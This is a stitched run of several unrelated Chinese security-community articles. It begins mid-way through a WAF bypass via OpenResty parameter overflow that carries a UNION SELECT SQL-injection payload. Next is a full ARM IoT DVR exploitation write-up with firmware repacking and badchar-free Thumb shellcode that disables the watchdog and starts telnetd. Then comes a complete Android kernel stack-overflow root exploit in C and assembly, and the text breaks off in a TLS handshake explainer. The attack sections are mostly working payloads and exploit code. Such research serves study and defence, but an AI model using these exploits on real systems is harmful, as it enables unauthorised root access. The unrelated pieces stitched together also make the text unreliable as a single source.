a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&
a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&
a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&
a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&
a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&
a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&
a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&
id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata`
输出结果：
可以看到，使用ngx.req.get_uri_args获取uri
请求参数，只获取前100个参数，第101个参数并没有获取到。继续构造一个POST请求，来看一下：
使用ngx.req.get_post_args 获取的post请求内容，也同样只获取前100个参数。
检查这两个函数的文档，出于安全原因默认的限制是100，它们接受一个可选参数，最多可以告诉它应该解析多少GET /
POST参数。但只要攻击者构造的参数超过限制数就可以轻易绕过基于OpenResty的安全防护，这就存在一个uri参数溢出的问题。
综上，通过ngx.req.get_uri_args、ngx.req.get_post_args获取uri参数，当提交的参数超过限制数（默认限制100或可选参数限制），uri参数溢出，无法获取到限制数以后的参数值，更无法对攻击者构造的参数进行有效安全检测，从而绕过基于OpenResty的WEB安全防护。
## 0x03 影响产品
基于OpenResty构造的WEB安全防护，大多数使用ngx.req.get_uri_args、ngx.req.get_post_args获取uri参数，即默认限制100，并没有考虑参数溢出的情况，攻击者可构造超过限制数的参数，轻易的绕过安全防护。
基于OpenResty的开源WAF如：ngx_lua_waf、X-WAF、Openstar等，均受影响。
### A、ngx_lua_waf
ngx_lua_waf是一个基于lua-nginx-module(openresty)的web应用防火墙
github源码：<https://github.com/loveshell/ngx_lua_waf>
**拦截效果图：**
**利用参数溢出Bypass：**
### B、X-WAF
X-WAF是一款适用中、小企业的云WAF系统，让中、小企业也可以非常方便地拥有自己的免费云WAF。
官网：<https://waf.xsec.io>
github源码：<https://github.com/xsec-lab/x-waf>
**拦截效果图：**
**利用参数溢出Bypass：**
## 参考链接
<https://github.com/openresty/openresty/issues/358>
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9230>
<http://wiki.jikexueyuan.com/project/openresty/openresty/get_url_param.html> | 社区文章 |
# From Dvr to See Exploit of IoT Device
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Author：0K5y && Larryxi @ 360GearTeam
## # 0x00 前言
在万物互联的时代，IoT安全也逐渐被人们所关注。IoT设备在软件二进制方面的攻击面和传统PC端的二进制安全类似，但在架构上有所不同，如arm、mips、ppc等都会在日常的安全审计过程中有所接触。架构的不同也就反应在rop链和shellcode的构造，每一种架构下的指令集都是值得利用与玩味的。
本篇文章中主要介绍了针对某ARM IoT设备从漏洞挖掘到漏洞利用的整套思考与攻击链条，期望大家对IoT安全有所交流、学习和进步。
## 0x01 漏洞挖掘
### 环境前瞻
因为已经拿到对应设备的固件，所以不用再上下求索[提取固件](https://bbs.pediy.com/thread-230095.htm)，binwalk解包后是个常见的squashfs
文件系统，分析可得出三个前瞻的结论：
1. 其在/etc/init.d/S99中启动app相关服务，并将telnetd注释掉关闭了telnet接口。
2. 其在/etc/passwd中保存的root密码为弱口令，在github可搜索到。
3. 通过file /bin/busybox信息可得知其架构为armel。
根据上述信息，一般的攻击思路便是通过Web端命令注入或缓冲区溢出，开启系统的telnetd服务，再由root弱口令获取shell。
### Web漏洞
该设备存在一个管理后台，开启burp抓包，发现了几个不痛不痒的问题:
1. 存在未授权访问的页面，虽然在js中有重定向但burp中依旧可以看到对应页面的静态资源。
2. 后台登录成功后会将身份信息保存在cookie中，并对所有动态资源的获取都通过url传递相关身份信息作为认证。
3. 某些cgi也存在未授权访问，可得到相关配置文件，但无后台账号密码和内存布局等关键信息。
4. 还有些cgi可以执行某些特定的指令如reboot，但限制得比较死，只能造成拒绝服务一类的攻击。
根据上述信息，可以推断常见的登录绕过、self-xss、csrf便没什么太大的作用了，命令注入相关的接口也没有找到，考虑从固件相关app
binary逆向分析寻找漏洞点。
### 缓冲区溢出
我们通常会看和http相关的binary，毕竟http服务器和后端的处理代码是很大的一块攻击面。搜索cgi字符串可以找到对应的handler函数，其中有个提取url中query参数的函数，重命名为parse_url_query：
逆向可知，其从请求的url中提取对应的参数，返回一个结构体，第一个DWORD保存value pointer，第二个DWORD保存value length：
此处value的长度是我们可控的，那么在其父函数（图2）的120行和130行中直接把value的值strcpy至栈上的空间，这里就产生了经典的缓冲区溢出。查找parse_url_query的交叉引用，只要其后存在strcpy的操作，那么很大程度上也会是个溢出点。
## 0x02 调试环境
### 获取调试接口
有了溢出点，我们肯定迫不及待地想要去调试漏洞利用获取shell，但获取调试接口也是我们面临的一个问题：
1. 没有找到命令注入，也就无法通过telnet执行命令上传gdbserver进行调试。
2. 虽然设备上有明显的UART接口，但其输出的只是日志信息，没有提供系统shell。
3. 尝试修改u-boot的init字段为/bin/sh，没有实际效果。
由于我们手上已有固件，观察到后台有升级固件的功能，自然想到去除对telnetd的注释，[重新打包](https://iot-security.wiki/hardware-security/modification/firmware.html)升级固件，就可以开启调试之旅了。
打包完固件之后更新固件，在串口的日志输出处可以看到如下错误：
可知需要修改md5, 打开固件在固件头附近可以看到如下md5值：
直接修改为计算之后的值即可。再次更新，可以看到如下报错，因为固件更改，导致该文件头中保存的块CRC校验错误：
可以在文件偏移0x22c处看到如下CRC校验值：5242，修改为 8582即可：
再次更新，由于修改了文件头，导致文件头的CRC校验报错：
在文件最开始处，可以看到文件头CRC校验值：ce4f，修改为0dea即可：
最后由于文件被修改，导致md5校验出错，再次修改md5值即可，不再赘述。
### 交叉编译环境
一开始使用github上下载的静态编译好的[gdbserver-7.7.1-armel-eabi5-v1-sysv](https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static)，在kali上配合gdb-multiarch（7.12）进行调试。应用程序对每个http请求都会create一个线程来处理，但在漏洞函数处下断点始终断不下来，还会出现莫名其妙的SIGSEGV错误。搜索得知调试的服务端和客户端的版本相近才比较靠谱。
遂搭建交叉编译环境，自己静态编译一个7.11版本的arm-linux-gnueabi-gdbserver。在ubuntu 14.04上安装gcc-arm-linux-gnueabi，下载gdbserver源码包，根据configure和Makefile静态编译即可，网上也有[相关教程](https://bbs.pediy.com/thread-220907.htm)，不再赘述。
由此可在漏洞cgi_handler函数起始处断下：
## 0x03 漏洞利用
### 安全机制
在调试过程中系统会在短时间内重启，怀疑有watchdog的存在，通过串口日志和reboot字符串的搜索，定位watchdog为内核模块wdt，rmmod
wdt卸载即可进行调试。综合可知该app进程和系统开启安全机制的情况如下：
1. 没有GS保护。
2. 主程序的栈空间和各个线程的栈空间都是可执行的。
3. 系统的ASLR为1，uClibc的地址确实也会随机化。
4. brk分配的堆地址范围不变，vectors段地址范围不变。
5. watchdog以内核模块的形式存在，短时间内应用程序无响应便重启系统。
### 利用方案
根据静态或动态方法可以确定偏移，调试验证看看程序逻辑能不能无异常地走到最后，并覆盖到pc或lr寄存器。在函数返回前如约而至地迎来了异常，定位可知在图二中133行的v68和v69局部变量都会因为溢出被覆盖，然后便进入135行parse_url_query逻辑。
局部变量v62作为a1传入parse_url_query函数中，本为url的字符串指针但却被我们的溢出覆盖，最后在图三27行调用strcasestr函数时，产生了非法地址访问。只要对应偏移覆盖v62为我们可控的可读的内存地址，那么这个异常即可规避使parse_url_query返回-1，而且也不会进入漏洞函数的后续逻辑，最终能顺利地劫持pc了。
虽然系统开启了ASLR，地址是不可预期的，但仍可利用vectors段的固定地址进行strcasestr，即可来到对返回地址的覆盖：
因为strcpy的\x00截断和ASLR，首先考虑的是在app的代码段寻找gadget。因为有截断所以只能完成一次跳转，而且需要往回调执行栈上的shellcode，目前我们可控的寄存器只有r4、fp和pc，在代码段是无法找到这么完美的gadget。
其次考虑的是vectors内存段，其不受ASLR的影响而且没有截断的问题，如果有好的gadget也是能够跳转shellcode的，但实际上也收效甚微：
那不得不面对的就是绕过ASLR了：
1. 信息泄露：几乎所有的调试日志输出只在串口上可见，http响应中也限制得比较死，没有在软件层面上找到可以输出信息泄露的有效点。
2. 暴力破解：把程序一打崩watchdog就重启系统，暴力的方法也就没意义了。
3. 堆喷：处理线程都是[共享](https://stackoverflow.com/questions/3318750/why-do-threads-share-the-heap-space)的heap，如果处理过程中有brk分配内存，那还是可以尝试一下堆喷的效果。
首先需要逆向一下处理http请求的过程。根据串口输出日志结合调试可知，在函数sub_25E2DC会生成线程调用函数sub_25DD6C来处理每一个请求。在sub_25DD6C中会接收0x400个字节判断该socket流属于什么协议：
具体可知判断HTTP协议只是依据开头的GET或POST字节：
然后动态调用函数指针处理HTTP请求：
在上图的45行可以看到，接收0x400字节的buf是由calloc函数分配的，但在判断完是HTTP协议后在65行立即释放了该堆内存空间。前后申请释放的间隔太短，实际使用20000线程也只能喷出6个堆块，可见在我们这个环境下使用多线程来进行堆喷是没有太大效果的。
上述思路都不通，还是回到漏洞环境，看看上下文有没有其他可借助的点。简单地尝试之后，发现在栈上保存的高地址指针正好指向我们socket传入的字节串：
山穷水尽溜一圈，那么经过两次的pop，即可劫持pc跳转至GET /cgi-bin/xxx.cgi?p=xxx
HTTP/1.1\r\n执行了。这样只需要一次跳转的两次pop还是很好找的：
### shellcode构造
猜想和调试验证可知，该程序已\r\n\r\n作为http头结束的标志，因此\x00会截断导致程序直接抛弃该请求：
既然是程序自身处理的HTTP请求，那么\x00\x0d\x0a\x20都会是badchar。GET需要凑一个字节如GETB构成[nop指令](http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=%5Cx71%5Cx69%5Cx32%5Cx42&arch=arm&endianness=little#disassembly)即可。
所以就需要自己构造或者参考他人的[例子](http://shell-storm.org/shellcode/files/shellcode-904.php)构造shellcode。在构造之前，我们一般会写一个相同逻辑的c语言程序，静态编译看看能否在目标环境运行，再构建同等功能的shellcode：
#include <unistd.h>
int main(void) {
execve("/bin/sh", 0, 0);
return 0;
}
上述程序并没有获得如期的shell，调试后可知execve执行后的返回值为0xfffffffe即[ENOENT](http://man7.org/linux/man-pages/man2/execve.2.html)，因为/bin/ls只是/bin/busybox的一个软链接，所以尝试使用busybox来执行命令就可以了：
#include <unistd.h>
int main(void) {
char* argv[] = {"busybox", "rmmod", "wdt"};
execve("/bin/busybox", argv, 0);
return 0;
}
生成shellcode有一个捷径可走就是直接调用[pwnlib.shellcraft.thumb](https://docs.pwntools.com/en/stable/shellcraft/thumb.html)：
/* execve(path='/bin/busybox', argv=['busybox', 'rmmod', 'wdt'], envp=0) */
/* push '/bin/busybox\x00' */
eor r7, r7
push {r7}
ldr r7, value_7
b value_7_after
value_7: .word 0x786f6279
value_7_after:
push {r7}
ldr r7, value_8
b value_8_after
value_8: .word 0x7375622f
value_8_after:
push {r7}
ldr r7, value_9
b value_9_after
value_9: .word 0x6e69622f
value_9_after:
push {r7}
mov r0, sp
/* push argument array ['busybox\x00', 'rmmod\x00', 'wdt\x00'] */
/* push 'busybox\x00rmmod\x00wdt\x00\x00' */
mov r7, #0x74
push {r7}
ldr r7, value_10
b value_10_after
value_10: .word 0x64770064
value_10_after:
push {r7}
ldr r7, value_11
b value_11_after
value_11: .word 0x6f6d6d72
value_11_after:
push {r7}
ldr r7, value_12
b value_12_after
value_12: .word 0xff786f62
value_12_after:
lsl r7, #8
lsr r7, #8
push {r7}
ldr r7, value_13
b value_13_after
value_13: .word 0x79737562
value_13_after:
push {r7}
/* push 0 */
eor r7, r7
push {r7} /* null terminate */
mov r1, #0x12
add r1, sp
push {r1} /* 'wdt\x00' */
mov r1, #0x10
add r1, sp
push {r1} /* 'rmmod\x00' */
mov r1, #0xc
add r1, sp
push {r1} /* 'busybox\x00' */
mov r1, sp
eor r2, r2
/* call execve() */
/* mov r7, #SYS_execve */
mov r7, #11 /* 0xb */
svc 0x41
将汇编代码转成机器码后包含了一个\x00字节，还是需要理解shellcode的逻辑，然后更改相关指令规避掉badchar：
eor.w r7, r7, r7 \x87\xea\x07\x07
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x786f6279 \x79\x62\x6f\x78 ybox
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x7375622f \x2f\x62\x75\x73 /bus
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x6e69622f \x2f\x62\x69\x6e /bin
push {r7} \x80\xb4
mov r0, sp \x68\x46
mov r7, #0x74 \x4f\xf0\x74\x07 t
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x64770064 \x64\x00\x77\x64 d\x00wd
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x6f6d6d72 \x72\x6d\x6d\x6f rmmo
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0xff786f62 \x62\x6f\x78\xff box\xff
lsl.w r7, r7, #8 \x4f\xea\x07\x27
lsr.w r7, r7, #8 \x4f\xea\x17\x27 box\x00
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x79737562 \x62\x75\x73\x79 busy
push {r7} \x80\xb4
eor.w r7, r7, r7 \x87\xea\x07\x07
push {r7} \x80\xb4
mov.w r1, #0x12 \x4f\xf0\x12\x01
add r1, sp, r1 \x69\x44
push {r1} \x02\xb4
mov.w r1, #0x10 \x4f\xf0\x10\x01
add r1, sp, r1 \x69\x44
push {r1} \x02\xb4
mov.w r1, #0xc \x4f\xf0\x0c\x01
add r1, sp, r1 \x69\x44
push {r1} \x02\xb4
mov r1, sp \x69\x46
eor.w r2, r2, r2 \x82\xea\x02\x02
mov.w r7, #0xb \x4f\xf0\x0b\x07
svc #0x41 \x41\xdf
1111
2222
3333
\x00\x00\x00\x00
busy
box\x00
romm
d\x00wd
t\x00\x00\x00
/bin
/bus
ybox
\x00\x00\x00\x00
这段shellcode总结下来有两个重要的特点：
1. 读取pc寄存器可获取4字节数据，然后使用b指令越过数据部分。
2. 通过左移右移来将某些字节置零。
借鉴以上思想，通过位移来优化一下其中的\x00字节：
1111
2222
3333
\x00\x00\x00\x00
wdt\xff
romm
d\x00\x00\x00
/bin
/bus
ybox
\x00\x00\x00\x00
eor.w r7, r7, r7 \x87\xea\x07\x07
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x786f6279 \x79\x62\x6f\x78 ybox
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x7375622f \x2f\x62\x75\x73 /bus
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x6e69622f \x2f\x62\x69\x6e /bin
push {r7} \x80\xb4
mov r0, sp \x68\x46
mov.w r7, #0x64 \x4f\xf0\x64\x07 d
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x6f6d6d72 \x72\x6d\x6d\x6f rmmo
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0xff786f62 \x77\x64\x74\xff wdt\xff
lsl.w r7, r7, #8 \x4f\xea\x07\x27
lsr.w r7, r7, #8 \x4f\xea\x17\x27 wdt\x00
push {r7} \x80\xb4
eor.w r7, r7, r7 \x87\xea\x07\x07
push {r7} \x80\xb4
mov.w r1, #0x4 \x4f\xf0\x04\x01
add r1, sp, r1 \x69\x44
push {r1} \x02\xb4
mov.w r1, #0xc \x4f\xf0\x0c\x01
add r1, sp, r1 \x69\x44
push {r1} \x02\xb4
mov.w r1, #0x1d \x4f\xf0\x1d\x01
add r1, sp, r1 \x69\x44
push {r1} \x02\xb4
mov r1, sp \x69\x46
eor.w r2, r2, r2 \x82\xea\x02\x02
mov.w r7, #0xb \x4f\xf0\x0b\x07
svc #0x41 \x41\xdf
这一段执行execve是没有任何问题了，可是这里只是关闭了watchdog，我们还想做的是开启telnetd服务，后续就可以通过root弱口令获取系统shell了。开始时想使用两次execve分别执行rmmod
wdt和telnetd，但exec调用后当前进程的内存被完全替换，也就无法进行第二次的execve了。
最终确定使用渗透中的常见套路，在/tmp目录下使用系统调用写一个shell脚本，空格可以使用${IFS}绕过，最后execve调用sh执行该文件，达到一种执行多条命令的效果：
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
void main() {
int fd = open("/tmp/XXX", O_CREAT | O_WRONLY, S_IRUSR | S_IWUSR);
write(fd, "rmmod${IFS}wdt;telnetd", 22);
close(fd);
}
### 完成利用
漏洞利用便是将上述结合起来，如图所示：
## 0x04 总结
1. IoT设备上的安全防御手段和机制肯定会随着我们的聚焦而增强，也是一个有趣的挑战。
2. 对于漏洞环境的审查还需要细致观察或者脚本化。
3. 文中有所疏漏的地方还请师傅们不吝赐教。
4. 有幸去了bluehat2019，IoT上的Fuzzing、高阶利用和输出积累是我个人需要提高的。 | 社区文章 |
### 环境搭建
搭建平台：Ubuntu 16.04
# 下载内核代码
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git
# clone漏洞项目
git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges
#将内核切换到3.4版本
cd goldfish
git checkout -t origin/android-goldfish-3.4
#git am 可以将 patch 应用到当前的内核，--signoff 意味着使用自己的提交者标识向提交消息添加 Signed-off-by: 一行。这里应该是修改了内核编译配置，把项目中带漏洞中的模块编译进内核。
git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \
cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities
#下载 arm-linux-androideabi-4.6 交叉编译工具链
git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6
#构建内核
export ARCH=arm SUBARCH=arm CROSS_COMPILE=arm-linux-androideabi- &&\
export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH && \
cd goldfish && make goldfish_armv7_defconfig && make -j8
编译完成后，就会有两个主要的文件：goldfish/vmlinux 和 goldfish/arch/arm/boot/zImage。前面那个用于在调试时 gdb加载，后面的用于在安卓模拟器启动时加载。
vmlinux 用于提供符号表，zImage 则用于运行环境。
#下载jdk
sudo apt update
sudo apt-get install default-jre default-jdk
#下载sdk
wget http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz
tar xvf android-sdk_r24.4.1-linux.tgz
export PATH=YOURPATH/android-sdk-linux/tools:$PATH
android
下载图中两个依赖文件
#创建安卓模拟器
android create avd --force -t "android-19" -n kernel_challenges
#然后进入 goldfish 目录，使用下面的命令来使用我们的内核来运行模拟器，并在 1234 端口起一个 gdbserver 来方便进行内核调试
emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s
sudo ln -s /usr/lib/x86_64-linux-gnu/libpython2.7.so /lib/x86_64-linux-gnu/libpython2.6.so.1.0
arm-linux-androideabi-gdb vmlinux
正常的话，会是如下输出
因为我装了pwndbg会有一些报错，正常现象
(gdb) target remote :1234
Remote debugging using :1234
cpu_v7_do_idle () at arch/arm/mm/proc-v7.S:74
74 mov pc, lr
#这样的话我们就可以正常调试了
#安装adb
sudo apt install android-tools-adb
adb shell之后会出现 **emulator-5554 offline** ，然后adb kill-server /adb start-sever都试过了，adb也升到32版本了，都不行，然后进下如下操作，可以了…….
netstat -tulpn | grep 5554
sudo kill -9 10954
### stack_buffer_overflow代码分析
#项目地址
https://github.com/Fuzion24/AndroidKernelExploitationPlayground
代码:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#define MAX_LENGTH 64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ryan Welton");
MODULE_DESCRIPTION("Stack Buffer Overflow Example");
static struct proc_dir_entry *stack_buffer_proc_entry;
int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
char buf[MAX_LENGTH];
if (copy_from_user(&buf, ubuf, count)) {
printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");
return -EFAULT;
}
return count;
}
static int __init stack_buffer_proc_init(void)
{
stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL);
stack_buffer_proc_entry->write_proc = proc_entry_write;
printk(KERN_INFO "created /proc/stack_buffer_overflow\n");
return 0;
}
static void __exit stack_buffer_proc_exit(void)
{
if (stack_buffer_proc_entry) {
remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry);
}
printk(KERN_INFO "vuln_stack_proc_entry removed\n");
}
module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);
上述驱动会创建/proc/stack_buffer_overflow设备文件，当向该设备文件调用 write
系统调用时会调用proc_entry_write函数进行处理，在proc_entry_write函数中定义了一个64字节大小的栈缓冲区，copy_from_user函数（实现了将用户空间的数据传送到内核空间）在处理数据时并未检测数据长度，直接拷贝至内核空间（此处可通俗理解memcpy的内存拷贝），导致可以覆盖栈上保存的返回地址，然后劫持程序流程，从而实现代码执行的效果。不过这是在内核空间，可以直接用来提权getshell。
### 前置知识
#### PXN
PXN是Privileged Execute-Never
的缩写，按字面翻译就是“特权执行从不”，是ARM平台下的一项内核保护措施，作用是禁止内核执行用户空间的代码（但没有阻止内核去读取用户空间的数据），它的开启与否主要由页表属性的PXN位来控制
3.4的内核没有开PXN保护，在内核态可以跳转到用户态的内存空间去执行代码，我们此次模拟用的是3.4的内核，没有开启pxn，但是在3.10以上的内核中开启了PXN保护，无法执行用户态内存中的shellcode
#### Kernel Address Display Restriction
在linux内核漏洞利用中常常使用commit_creds和 prepare_kernel_cred 来完成提权，/proc/kallsyms
文件中保存着所有的内核符号的名称和它在内存中的位置。从Ubuntu 11.04和RHEL
7开始，/proc/sys/kernel/kptr_restrict 被默认设置为1以阻止通过这种方式泄露内核地址。
cat /proc/kallsyms | grep commit_creds
#查看是否开启Kernel Address Display Restriction
可以看到已经开启了Kernel Address Display Restriction，我们现在把它关闭
#关闭Kernel Address Display Restriction
echo 0 > /proc/sys/kernel/kptr_restrict
### POC
由于buf 大小为64字节，所以我们输入72字节去覆盖pc指针
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow
可以看到触发了kernel panic，并且成功劫持了pc寄存器
### EXP
由于没开pxn以及Kernel Address Display Restriction，所以我们的利用shellcode提权，思路是
* prepare_kernel_cred(0) 创建一个特权用户cred
* commit_creds(prepare_kernel_cred(0))； 把当前用户cred设置为该特权cred
* MSR CPSR_c,R3 从内核态切换回用户态
* 然后执行 execl("/system/bin/sh", "sh", NULL)；起一个 root 权限的 shell
完整exp如下
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MAX 64
int open_file(void)
{
int fd = open("/proc/stack_buffer_overflow", O_RDWR);
if (fd == -1)
err(1, "open");
return fd;
}
void payload(void)
{
printf("[+] enjoy the shell\n");
execl("/system/bin/sh", "sh", NULL);
}
extern uint32_t shellCode[];
asm(
" .text\n"
" .align 2\n"
" .code 32\n"
" .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr
"MOV R0, #0\n\t"
"BLX R3\n\t"
"LDR R3, =0xc0039834\n\t" //commit_creds addr
"BLX R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR CPSR_c,R3\n\t"
"LDR R3, =0x82d5\n\t" // payload function addr
"BLX R3\n\t");
void trigger_vuln(int fd)
{
#define MAX_PAYLOAD (MAX + 2 * sizeof(void *))
char buf[MAX_PAYLOAD];
memset(buf, 'A', sizeof(buf));
void *pc = buf + MAX + 1 * sizeof(void *);
printf("shellcdoe addr: %p\n", shellCode);
printf("payload:%p\n", payload);
*(void **)pc = (void *)shellCode; //ret addr
write(fd, buf, sizeof(buf));
}
int main(void)
{
int fd;
fd = open_file();
trigger_vuln(fd);
payload();
close(fd);
}
解释下shellcode
"LDR R3, =0xc0039d34\n\t"
"MOV R0, #0\n\t"
"BLX R3\n\t"
"LDR R3, =0xc0039834\n\t"
"BLX R3\n\t"
这几句汇编是执行commit_creds(prepare_kernel_cred(0));
其中0xc0039d34是prepare_kernel_cred的地址，0xc0039834是commit_creds的地址
"mov r3, #0x40000010\n\t"
"MSR CPSR_c,R3\n\t"
这个是通过CPSR状态寄存器完成从内核态到用户态的切换，将CPSR的M[4:0]位置为0b10000切换到用户模式
"LDR R3, =0x82d5\n\t"
"BLX R3\n\t");
这是跳转到payload函数，R3寄存器的值可以随便填个，先编译文件，exp里会打印payload函数的地址，再填入
### 踩坑
##### 调试的时候可能会遇到adb push，read-only system的情况，以下方法可解决
* adb remount
* adb shell
* chmod 777 system
##### 汇编BX跳转的实际地址由于thumb指令的原因，是ida里面看的地址+1
### reference
<http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.html>
<https://github.com/Fuzion24/AndroidKernelExploitationPlayground/blob/master/challenges/stack_buffer_overflow/solution/jni/stack_buffer_overflow_exploit.c>
<https://www.cnblogs.com/hac425/p/9416962.html>
<<https://paper.seebug.org/808/> | 社区文章 |
# SSL/TLS协议详解(下)——TLS握手协议
* * *
本文翻译自：<https://www.wst.space/ssl-part-4-tls-handshake-protocol/>
* * *
在博客系列的[第2部分](https://xz.aliyun.com/t/2530)中,对证书颁发机构进行了深入的讨论.在这篇文章中，将会探索整个SSL/TLS握手过程，在此之前，先简述下最后这块内容的关键要点：
> * TLS适用于对称密钥
> * 对称密钥可以通过安全密钥交换算法共享
> * 如果请求被截获，密钥交换可能会被欺骗
> * 使用数字签名进行身份验证
> * 证书颁发机构和信任链。
>
在这篇文章中，使用WireShark的工具来查看网络流量，我个人使用的是Linux（Ubuntu
16.04）系统，可以使用以下命令轻松安装WireShark：
$sudo apt install wireshark
以sudo的权限打开WireShark并选择提供互联网连接的接口，我这里是eth0，然后点击WireShark右上角的“开始捕获数据包”按钮，Wireshark将立即开始抓取通过机器的所有流量。现在我们从浏览器中加载[github.com](https://github.com/)。Github使用TLS进行所有通信，将重新定向到https并加载。现在关闭浏览器，看看WireShark抓到了什么。
## DNS解析
这并不是TLS的一部分，但我们在WireShark中看到了它。
我已将Google
DNS设置为我的DNS服务器，它的地址是8.8.8.8，在图像中可以看到请求已发送到8.8.8.8查询github.com的A记录，也就是我们想要连接的Github的IP地址。
DNS服务器使用github.com的IP响应为192.30.253.113，蓝色表示选择显示相应的部分，现在，浏览器已获取了将要用来连接服务器的目标IP。
## 发起TLS握手
解析IP后，浏览器将通过http请求页面，如果服务器支持TLS，那么它将发送协议升级请求来响应浏览器，这个新的地址<https://github.com>
,将使用端口号443来指定，随后浏览器将启动TLS握手请求。大多数现代浏览器都存有与Web服务器的最后一次连接的记录，如果最后一次连接是通过https进行的，那么下次浏览器将自动启动https请求而无需等待服务器。
TLS握手分为以下几个步骤：
> * 客户端发送Hello报文
> * 服务器接收Hello报文
> * 共享证书和服务器密钥交换
> * 更改密码规范
> * 加密握手
>
## 客户端发送Hello报文
从这里开始，我将会重点讨论图片中标记为蓝色的主题，Client发送的Hello报文如下图所示。
我们知道TLS是在TCP之上实现的协议，TLS本身是一层协议并且它的底层叫做 **记录协议(Record protocol)**
，这意味着所有数据都被记录。典型的记录格式如下：
HH V1:V2 L1:L2 data
> *
> HH是单个字节，表示记录中的数据类型。共定义了四种类型：change_cipher_spec（20），alert（21），handshake（22）和application_data（23）。
> * V1：V2是协议版本，用两个以上的字节表示。对于当前定义的所有版本，V1的值为0x03，而对于SSLv3，V2的值为0x00，对于TLS
> 1.0为0x01，对于TLS 1.1为0x02，对于TLS 1.2为0x03。
> * L1：L2是数据的长度，以字节为单位（使用big-endian约定：长度为256 * L1 +
> L2），数据的总长度不能超过18432字节，但实际上它无法达到这个值。
>
在图中，可以看出内容类型是Handshake，TLS版本1.0，数据长度为512.真实数据位于名为 **Handshake Protocol：Client
Hello** 的下拉列表中。我们继续观察下Client Hello中共享的数据。
### 客户端发送Hello报文的内容
浏览器与服务器共享以下详细信息
### 客户端版本
按优先顺序列出的客户端支持的协议版本，首选客户希望支持的最新协议版本。
### 客户端的随机数
一个32字节的数据，其中前4个字节表示epoch格式的当前日期时间。[纪元时间](https://en.wikipedia.org/wiki/Unix_time)是自1970年1月1日以来的秒数。其余28个字节由加密强随机数生成器生成（例如，Linux中的`/dev/urandom`），客户端随机会在后面用到，请先记住这点。
### 会话id(Session id)
如果客户端第一次连接到服务器，那么这个字段就会保持为空。在上图中，您可以看到Session
id正在给服务器发送东西，之所以会发生这种情况是由于我之前是通过https连接到github.com的，在此期间，服务器将使用Session
id映射对称密钥，并将Session
id存储在客户端浏览器中，为映射设置一个时间限。如果浏览器将来连接到同一台服务器（当然要在时间限到期之前），它将发送Session
id，服务器将对映射的Session进行验证，并使用以前用过的对称密钥来恢复Session，这种情况下，就不需要完全握手。
### 密码套件
